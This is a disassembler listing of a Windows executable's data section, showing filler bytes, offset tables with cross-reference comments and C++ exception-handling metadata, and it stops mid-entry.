'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0 align 4 dd 3E3h dup(0) off_43E000 dd offset sub_4017C6 ; DATA XREF: sub_4036D0+3FEo off_43E004 dd offset dword_4367D0 ; DATA XREF: sub_403C70+2o off_43E008 dd offset off_402009 ; DATA XREF: sub_406BA0+2o sub_406C00o off_43E00C dd offset sub_4021F8 ; DATA XREF: ___:00407075o off_43E010 dd offset loc_402171 ; DATA XREF: sub_409AE0+4o ; sub_409B40+Bo ... off_43E014 dd offset loc_402027 ; DATA XREF: sub_40ADC0+2o ; sub_40AE10+1Co dd offset dword_4367D0 align 10h off_43E020 dd offset loc_401ACD ; DATA XREF: ___:0040B118o ; sub_40B170+1Eo flt_43E024 dd 1.0 ; DATA XREF: ___:0040B7C6r off_43E028 dd offset sub_401A3C ; DATA XREF: sub_40F600+157o ; sub_40FDA0+1Do dd offset sub_40212B dd 0 off_43E034 dd offset sub_401AB9 ; DATA XREF: sub_40F600+142o ; sub_40FDA0+23o off_43E038 dd offset loc_40115E ; DATA XREF: sub_411860+36o ; sub_411910+1Do dd offset loc_401FE6 dd 0 off_43E044 dd offset sub_4014BF ; DATA XREF: ___:0041318Do ; sub_413220+1Fo dd offset sub_401CF8 align 10h off_43E050 dd offset sub_4019BF ; DATA XREF: sub_416C00+6o ; sub_417DF0+8o dd offset sub_4020A9 dd 0 off_43E05C dd offset loc_401C99 ; DATA XREF: sub_416C60+6o ; sub_417E20+8o dd offset sub_401230 align 8 off_43E068 dd offset loc_40191A ; DATA XREF: sub_416CC0o sub_41FBD0+8o dd offset sub_401CDF dd 0 off_43E074 dd offset sub_40111D ; DATA XREF: sub_416D10o ; sub_4190B0+36o off_43E078 dd offset loc_4014A1 ; DATA XREF: sub_417BC0+68o off_43E07C dd offset sub_401064 ; DATA XREF: sub_417C60+8Bo off_43E080 dd offset sub_40138E ; DATA XREF: sub_417D30+74o off_43E084 dd offset loc_401B6D ; DATA XREF: sub_417E50+7Bo off_43E088 dd offset loc_40202C ; DATA XREF: sub_417F10+7Bo off_43E08C dd offset loc_401F1E ; DATA XREF: sub_417FD0+3Eo ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] db 1Fh, 40h, 0 off_43E094 dd offset loc_401FD7 ; DATA XREF: sub_418080+3Eo off_43E098 dd offset sub_401E4C ; DATA XREF: sub_418100+3Eo off_43E09C dd offset loc_40100A ; DATA XREF: sub_418180+10o off_43E0A0 dd offset loc_4010B4 ; DATA XREF: sub_4181B0+4Bo off_43E0A4 dd offset sub_401BA4 ; DATA XREF: sub_418230+10o off_43E0A8 dd offset sub_401712 ; DATA XREF: sub_418260+10o off_43E0AC dd offset sub_401613 ; DATA XREF: sub_418290+6Bo dbl_43E0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4198C0+22r dd 0 off_43E0BC dd offset sub_401AF5 ; DATA XREF: sub_41A010+Bo ; sub_41A110+6o off_43E0C0 dd offset sub_401E74 ; DATA XREF: sub_41AFE0+Do sub_41B040o off_43E0C4 dd offset sub_4013FC ; DATA XREF: ___:0041B3A2o ; ___:0041B48Do dd offset sub_40167C align 10h off_43E0D0 dd offset loc_4019E7 ; DATA XREF: sub_41D670+77o ; sub_41D760+1Do dd offset sub_401C80 dd 0 off_43E0DC dd offset sub_4011FE ; DATA XREF: sub_426450+32o dd offset sub_401A64 dd offset sub_401A41 dd 0 off_43E0EC dd offset loc_4016D1 ; DATA XREF: sub_4264C0+6Ao ; sub_426560+1Do dd offset sub_401A64 dd offset dword_4367D0 dd 0 off_43E0FC dd offset loc_401AAF ; DATA XREF: sub_4269A0+32o dd offset sub_401A64 dd offset sub_401366 dd 0 off_43E10C dd offset sub_40181B ; DATA XREF: sub_426EB0+32o dd offset sub_401A64 dd offset sub_401E92 dd 0 off_43E11C dd offset sub_40222A ; DATA XREF: sub_427590+32o dd offset sub_401A64 dd offset sub_401A05 dd 0 off_43E12C dd offset sub_401C2B ; DATA XREF: sub_427DC0+32o dd offset sub_4021A8 dd offset sub_4015AF dd 0 off_43E13C dd offset loc_402068 ; DATA XREF: sub_427E30+7Ao ; sub_427EF0+1Do dd offset sub_4021A8 dd offset dword_4367D0 dd 0 off_43E14C dd offset sub_4021B2 ; DATA XREF: sub_428160+4Bo ; sub_428250+10o dd offset sub_4021A8 dd offset sub_401D2A dd 0 off_43E15C dd offset loc_40112C ; DATA XREF: sub_4299C0+32o ; sub_429A60+9o dd offset sub_4021A8 dd offset sub_40137A dd 0 off_43E16C dd offset loc_401B04 ; DATA XREF: sub_429D00+32o dd offset sub_4021A8 dd offset sub_4010AF dd 0 off_43E17C dd offset sub_4017A8 ; DATA XREF: sub_42A090+32o dd offset sub_4021A8 dd offset sub_40188E dd 0 off_43E18C dd offset sub_4020D1 ; DATA XREF: sub_42B1D0+27o dword_43E190 dd 0 dd 8, 0 off_43E19C dd offset dword_4367D0 ; DATA XREF: sub_42B240+39o off_43E1A0 dd offset sub_401F41 ; DATA XREF: ___:0042B312o dd offset sub_4021A8 dd offset sub_40134D align 10h off_43E1B0 dd offset sub_401B22 ; DATA XREF: sub_42B480+32o dd offset sub_4021A8 dd offset sub_40152D align 10h dd offset loc_4015F0 dd offset sub_4021A8 dd offset sub_4019E2 align 10h dd offset dword_43E348 off_43E1D4 dd offset loc_436811 ; DATA XREF: ___:00436808o ; ___:off_4438C0o ... dd 0FFFFFFFFh, 436BACh, 436BC0h, 4Dh dup(0) off_43E318 dd offset off_446CE0 ; DATA XREF: ___:0043E330o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_43E318 dd 0 db 0 ; DATA XREF: ___:0043E358o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 43E330h dword_43E348 dd 3 dup(0) dd offset off_446CE0 dd offset unk_43E338 dd 45h dup(0) dword_43E470 dd 19930520h, 5, 43E490h, 5 dup(0) dd 0FFFFFFFFh, 437B2Ch, 0 dd offset dword_436FD0+0B30h dd 1, 437B0Bh, 2, 437B16h, 3, 437B21h, 2 dup(0) dword_43E4C0 dd 19930520h, 3Dh, 43E4E0h, 5 dup(0) dd 0FFFFFFFFh, 437B70h, 0 dd offset loc_437B7B dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h, 0Dh, 437C2Eh, 0Eh dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h, 11h, 437C66h, 12h dd 437C74h, 13h, 437C82h, 14h, 437C90h, 15h, 437C9Eh, 16h dd 437CACh, 17h, 437CBAh, 18h, 437CC8h, 19h, 437CD6h, 1Ah dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h, 1Dh, 437D0Eh, 1Eh dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h, 21h, 437D46h, 22h dd 437D54h, 23h, 437D62h, 24h, 437D70h, 25h, 437D7Eh, 26h dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h, 29h, 437DB6h, 2Ah dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h, 2Dh, 437DEEh, 2Eh dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h, 31h, 437E26h, 32h dd 437E34h, 33h, 437E42h, 34h, 437E50h, 35h, 437E5Eh, 36h dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h, 39h, 437E96h, 3Ah dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0) dword_43E700 dd 19930520h, 1, 43E720h, 5 dup(0) dd 0FFFFFFFFh, 437FA0h, 2 dup(0) dword_43E730 dd 19930520h, 2, 43E750h, 5 dup(0) dd 0FFFFFFFFh, 437FC0h, 0 dd offset loc_437FC8 dd 2 dup(0) dword_43E768 dd 19930520h, 2, 43E788h, 5 dup(0) dd 0FFFFFFFFh, 437FF0h, 0 dd offset loc_437FF8 align 10h dword_43E7A0 dd 19930520h, 1, 43E7C0h, 5 dup(0) dd 0FFFFFFFFh, 438020h, 2 dup(0) dword_43E7D0 dd 19930520h, 7, 43E7F0h, 5 dup(0) dd 0FFFFFFFFh, 438040h, 0 dd offset loc_438048 dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh dd 2 dup(0) dword_43E830 dd 19930520h, 7, 43E850h, 5 dup(0) dd 0FFFFFFFFh, 4380C0h, 0 dd offset loc_4380C8 dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh dd 2 dup(0) dword_43E890 dd 19930520h, 11h, 43E8B0h, 5 dup(0) dd 0FFFFFFFFh, 438140h, 0FFFFFFFFh, 438148h, 0FFFFFFFFh dd 438150h, 0FFFFFFFFh, 438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh dd 438168h, 0FFFFFFFFh, 438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh dd 438180h, 0FFFFFFFFh, 438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh dd 438198h, 0FFFFFFFFh, 4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h, 4 dup(0) dword_43E948 dd 19930520h, 0Bh, 43E968h, 5 dup(0) dd 0FFFFFFFFh, 438200h, 0 dd offset loc_438208 dd 0FFFFFFFFh, 438210h, 2, 438218h, 0FFFFFFFFh, 438220h dd 0FFFFFFFFh, 438228h, 0FFFFFFFFh, 438230h, 0FFFFFFFFh dd 438238h, 7, 438243h, 7, 43824Bh, 9, 438253h, 4 dup(0) dword_43E9D0 dd 19930520h, 31h, 43E9F0h, 5 dup(0) dd 0FFFFFFFFh, 438280h, 0 dd offset loc_43828B dd 0 dd offset loc_438296 dd 0FFFFFFFFh, 4382A1h, 0FFFFFFFFh, 4382ACh, 4, 4382B7h dd 0FFFFFFFFh, 4382C2h, 6, 4382CDh, 6, 4382D8h, 8, 4382E3h dd 0FFFFFFFFh, 4382EEh, 0Ah, 4382F9h, 0Ah, 438304h, 0Ah dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h, 0Ah, 438330h, 0FFFFFFFFh dd 43833Bh, 11h, 438346h, 11h, 438351h, 0FFFFFFFFh, 43835Ch dd 0FFFFFFFFh, 438367h, 15h, 438372h, 0FFFFFFFFh, 43837Dh dd 0FFFFFFFFh, 438388h, 18h, 438393h, 0FFFFFFFFh, 43839Eh dd 0FFFFFFFFh, 4383A9h, 0FFFFFFFFh, 4383B4h, 0FFFFFFFFh dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h, 1Dh, 4383E0h, 1Dh dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h, 22h, 43840Ch, 22h dd 438417h, 22h, 438422h, 22h, 43842Dh, 22h, 438438h, 22h dd 438443h, 22h, 43844Eh, 22h, 438459h, 22h, 438464h, 22h dd 43846Fh, 22h, 43847Ah, 22h, 438485h, 22h, 438490h, 0Ch dup(0) dword_43EBA8 dd 19930520h, 2, 43EBC8h, 5 dup(0) dd 0FFFFFFFFh, 438538h, 0 dd offset loc_438530 align 10h dword_43EBE0 dd 19930520h, 2, 43EC00h, 5 dup(0) dd 0FFFFFFFFh, 43857Bh, 0 dd offset loc_438570 dd 2 dup(0) dword_43EC18 dd 19930520h, 3, 43EC38h, 5 dup(0) dd 0FFFFFFFFh, 4385B0h, 0 dd offset loc_4385BB dd 0 dd offset loc_4385C6 dd 2 dup(0) dword_43EC58 dd 19930520h, 1, 43EC78h, 5 dup(0) dd 0FFFFFFFFh, 4385F0h, 2 dup(0) dword_43EC88 dd 19930520h, 1, 43ECA8h, 5 dup(0) dd 0FFFFFFFFh, 438610h, 2 dup(0) dword_43ECB8 dd 19930520h, 2, 43ECD8h, 5 dup(0) dd 0FFFFFFFFh, 438630h, 0 dd offset loc_438638 align 10h dword_43ECF0 dd 19930520h, 56h, 43ED10h, 5 dup(0) dd 0FFFFFFFFh, 438650h, 0 dd offset loc_43865B dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h, 0Dh, 4386DEh, 0Eh dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh, 11h, 43870Ah, 12h dd 438715h, 13h, 438720h, 14h, 43872Bh, 15h, 438736h, 16h dd 438741h, 17h, 43874Ch, 18h, 438757h, 19h, 438762h, 1Ah dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h, 1Dh, 43878Eh, 1Eh dd 438799h, 1Eh, 4387A4h, 1Eh, 4387AFh, 1Eh, 4387BAh, 1Eh dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh, 1Eh, 4387E6h, 1Eh dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh, 1Eh, 438807h, 2Ah dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh, 2Dh, 438828h, 1Eh dd 438828h, 1Eh, 438833h, 30h, 43883Eh, 1Eh, 43883Eh, 1Eh dd 438849h, 33h, 438854h, 1Eh, 438854h, 1Eh, 43885Fh, 36h dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h, 39h, 438880h, 1Eh dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h, 1Eh, 438896h, 1Eh dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh, 1Eh, 4388B7h, 42h dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh, 45h, 4388D8h, 1Eh dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh, 1Eh, 4388EEh, 1Eh dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h, 1Eh, 43890Fh, 4Eh dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h, 51h, 438930h, 52h dd 43893Bh, 53h, 438946h, 54h, 438951h, 13h dup(0) dd offset off_4438C0 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 436800h, 2 dup(0) dd offset off_4438E0 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 436C2Ah, 2 dup(0) dd offset off_443908 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 436C30h, 0 dword_43F068 dd 3, 43F048h, 43F028h, 43F008h, 2 dup(0)dword_43F080 dd 0 ; ___:0040A997o dd offset dword_436BD4+62h dd 0 dd offset dword_43F068 dd 2 dup(0) dword_43F098 dd 19930520h, 1, 43F0B8h, 5 dup(0) dd 0FFFFFFFFh, 438A30h, 2 dup(0) dword_43F0C8 dd 19930520h, 1, 43F0E8h, 5 dup(0) dd 0FFFFFFFFh, 438A50h, 2 dup(0) dword_43F0F8 dd 19930520h, 3, 43F118h, 5 dup(0) dd 0FFFFFFFFh, 438A70h, 0 dd offset loc_438A87 dd 1, 438A8Fh, 2 dup(0) dword_43F138 dd 19930520h, 1, 43F158h, 5 dup(0) dd 0FFFFFFFFh, 438AB0h, 2 dup(0) dword_43F168 dd 19930520h, 2, 43F188h, 1, 43F198h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 43F1B0h, 4 dup(0) dd offset sub_40AE52 dd 2 dup(0) dword_43F1C8 dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 43F210h, 4 dup(0) dd offset sub_40AFD1 dd 2 dup(0) dword_43F228 dd 19930520h, 4, 43F248h, 5 dup(0) dd 0FFFFFFFFh, 438AF0h, 0 dd offset loc_438AFB dd 1, 438B06h, 2, 438B11h, 2 dup(0) dword_43F270 dd 19930520h, 4, 43F290h, 5 dup(0) dd 0FFFFFFFFh, 438B40h, 0 dd offset loc_438B4B dd 1, 438B56h, 2, 438B61h, 2 dup(0) dword_43F2B8 dd 19930520h, 3, 43F2D8h, 5 dup(0) dd 0FFFFFFFFh, 438B90h, 0FFFFFFFFh, 438B98h, 0FFFFFFFFh dd 438BA0h, 2 dup(0) dword_43F2F8 dd 19930520h, 3, 43F318h, 5 dup(0) dd 0FFFFFFFFh, 438BC0h, 0 dd offset loc_438BC8 dd 1, 438BD0h, 2 dup(0) dword_43F338 dd 19930520h, 1, 43F358h, 5 dup(0) dd 0FFFFFFFFh, 438BF0h, 2 dup(0) dword_43F368 dd 19930520h, 4, 43F388h, 5 dup(0) dd 0FFFFFFFFh, 438C10h, 0FFFFFFFFh, 438C18h, 0FFFFFFFFh dd 438C20h, 2, 438C28h, 2 dup(0) dword_43F3B0 dd 19930520h, 1, 43F3D0h, 5 dup(0) dd 0FFFFFFFFh, 438C50h, 2 dup(0) dword_43F3E0 dd 19930520h, 4, 43F400h, 5 dup(0) dd 0FFFFFFFFh, 438C70h, 0 dd offset loc_438C7B dd 0 dd offset loc_438C86 dd 2, 438C91h, 2 dup(0) dword_43F428 dd 19930520h, 1, 43F448h, 5 dup(0) dd 0FFFFFFFFh, 438CC0h, 2 dup(0) dword_43F458 dd 19930520h, 5, 43F478h, 5 dup(0) dd 0FFFFFFFFh, 438CE0h, 0 dd offset loc_438CEB dd 0 dd offset loc_438CF6 dd 0 dd offset loc_438D01 dd 0 dd offset loc_438D0C dd 2 dup(0) dword_43F4A8 dd 19930520h, 2, 43F4C8h, 5 dup(0) dd 0FFFFFFFFh, 438D40h, 0 dd offset loc_438D4B align 10h dword_43F4E0 dd 19930520h, 2, 43F500h, 5 dup(0) dd 0FFFFFFFFh, 438D70h, 0 dd offset loc_438D7B dd 2 dup(0) dword_43F518 dd 19930520h, 4, 43F538h, 5 dup(0) dd 0FFFFFFFFh, 438DA0h, 0FFFFFFFFh, 438DA8h, 0FFFFFFFFh dd 438DB0h, 0FFFFFFFFh, 438DB8h, 2 dup(0) dword_43F560 dd 19930520h, 8, 43F580h, 5 dup(0) dd 0FFFFFFFFh, 438DE0h, 0 dd offset loc_438DEB dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h dd 1, 438E2Dh, 4 dup(0) dword_43F5D0 dd 19930520h, 0Dh, 43F5F0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0FFFFFFFFh, 438E6Bh, 1, 438E76h dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh dd 438EE4h, 4 dup(0) dword_43F668 dd 19930520h, 6, 43F688h, 5 dup(0) dd 0FFFFFFFFh, 438F20h, 0 dd offset loc_438F28 dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0) dword_43F6C0 dd 19930520h, 6, 43F6E0h, 5 dup(0) dd 0FFFFFFFFh, 438F70h, 0 dd offset loc_438F78 dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0) dword_43F718 dd 19930520h, 3, 43F738h, 5 dup(0) dd 0FFFFFFFFh, 438FC0h, 0 dd offset loc_438FC8 dd 1, 438FD0h, 2 dup(0) dword_43F758 dd 19930520h, 1, 43F778h, 5 dup(0) dd 0FFFFFFFFh, 438FF0h, 2 dup(0) dword_43F788 dd 19930520h, 7, 43F7A8h, 5 dup(0) dd 0FFFFFFFFh, 439010h, 0 dd offset loc_439018 dd 0FFFFFFFFh, 439020h, 0FFFFFFFFh, 439028h, 3, 439030h dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0) dword_43F7E8 dd 19930520h, 24h, 43F808h, 5 dup(0) dd 0FFFFFFFFh, 439070h, 0 dd offset loc_439078 dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h, 0Dh, 439125h, 0Eh dd 439133h, 0Fh, 439141h, 10h, 43914Fh, 11h, 43915Dh, 11h dd 439165h, 11h, 43916Dh, 11h, 439175h, 11h, 43917Dh, 11h dd 439185h, 11h, 43918Dh, 11h, 439195h, 11h, 43919Dh, 11h dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h, 11h, 4391BDh, 11h dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h, 11h, 4391DDh, 11h dd 4391E5h, 8 dup(0) dword_43F948 dd 19930520h, 11h, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 439260h, 0 dd offset loc_439268 dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h, 0Dh, 439315h, 0Eh dd 439323h, 0Fh, 439331h, 4 dup(0) dword_43FA00 dd 19930520h, 38h, 43FA20h, 5 dup(0) dd 0FFFFFFFFh, 439390h, 0 dd offset loc_43939B dd 1, 4393A6h, 0 dd offset loc_4393B1 dd 0 dd offset loc_4393BC dd 0 dd offset loc_4393C7 dd 0 dd offset loc_4393D2 dd 0 dd offset loc_4393DD dd 0 dd offset loc_4393E8 dd 0 dd offset loc_4393F3 dd 9, 4393FEh, 0 dd offset loc_439409 dd 0 dd offset loc_439414 dd 0 dd offset loc_43941F dd 0 dd offset loc_43942A dd 0Eh, 439435h, 